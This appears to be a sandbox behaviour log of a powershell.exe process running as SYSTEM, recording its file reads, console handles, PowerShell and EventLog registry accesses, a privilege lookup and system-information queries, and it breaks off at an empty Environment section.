Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 7
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 6
Fn
Get Info C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0 type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_type True 4
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_type True 2
Fn
Get Info C:\ type = file_attributes True 6
Fn
Get Info C:\Windows\system32 type = file_attributes True 7
Fn
Get Info C:\Windows type = file_attributes True 4
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\system32\WindowsPowerShell\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\system32\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Open STD_ERROR_HANDLE - True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 4096 True 3
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 3315 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 781, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 4096 True 41
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 436 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 2530 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 542, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4096 True 11
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4018 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 78, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 0 True 2
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 2762 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 310, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 4096 True 17
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 3022 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 50, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 281 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 4096 True 62
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 3895 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 201, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 4096 True 21
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 3687 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 409, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 2228 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 844, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 3736 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 360, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 62 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 17 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 57 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 79 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 25 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 54 True 1
Fn
Data
Write CONOUT$ size = 1 True 1
Fn
Data
Write CONOUT$ size = 1 True 2
Fn
Data
Registry (194)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment - True 1
Fn
Open Key HKEY_CURRENT_USER\Environment - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 9
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell - False 4
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Environment value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = 0, type = REG_SZ True 4
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Filename - process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
User (11)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Get Username user_name_out = SYSTEM True 10
Fn
System (6)
»
Operation Additional Information Success Count Logfile
Get Info type = Operating System True 4
Fn
Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Get Info type = Hardware Information True 1
Fn
Environment (125)
»
Operation Additional Information Success Count Logfile
